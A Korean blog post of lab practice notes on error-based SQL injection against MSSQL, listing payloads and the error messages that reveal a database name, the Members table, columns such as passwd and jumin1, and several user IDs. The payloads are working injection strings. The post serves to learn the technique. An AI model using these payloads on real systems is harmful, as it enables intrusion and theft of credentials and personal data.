보안/웹·모바일

Error-based SQL Injection 실습

병뚜 2022. 7. 12. 14:44

Error-Based SQL Injection

:: 에러 메세지가 친절할 때. 가장 친절/가장 쉬워짐

 

[DB명찾기]

(구문) ' and db_name() > 1 --

(결과) nvarchar 'oyesmall'을 데이터형식 int로 변환하지 못했씁니다.

db_name()은 MSSQL에서 데이터베이스 이름을 반환하는 친구임. 데이터베이스 이름이 1보다 크냐? 하고 주석처리

왜 nvarchar값을 int랑 비교하냐??. 하며 데이터베이스 이름 겟ㅋ

[TABLE명 찾기]

(구문) ' having 1=1 --

(결과) 열 'Members.num'이 집계함수나 GROUP BY절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

[COLUMN명 찾기]
(구문) ' group by num --

(결과) 열 Members.user_id가 집계함수나 GROUP BY절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

num 다음 컬럼을 알아내는 것.

그럼 그 다음 컬럼은?

(구문) ' group by num, user_id --

(결과) 열 Members.passwd가 집계함수나 GROUP BY절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

다음거는 passwd1, name, jumin1 ....

 


여기까지 했을 때 알아낸 것

- DB Name: oyesmall

- Table Name: Members

- Column List: num, user_id, passwd ....

 



[첫 번째에 있는 계정 알아내는 방법]

(구문) ' or 1 in (select user_id from members where num > 0) --

(결과) varchar 값 oyes를 데이터 형식 int로 변환하지 못했습니다.

 

[문제:: 계정 순서대로 다섯개를 알아내시오. ]

(구문) ' or 1 in (select user_id from members where user_id not in ('oyes', '???', ...)

1. oyes

2. bisang2da

3. kisec

4. kisectest

5. rnrneks

 

 

[문제:: members 테이블 행의 수 구하기]

(구문) ' or 1 in (SELECT '임의문자' + cast(count(user_id) as varchar(10) FROM members) --

※ MSSQL에서는 cast(), MYSQL에서는 concat()

※ 그리고 cast(count(user_id))할 필요 없이 걍 cast(count(*) varchar(10))하면 됨.

결과

CAST(data as type): 데이터를 형변환 하는 함수이다.

EX) CAST(1234 as varchar(20))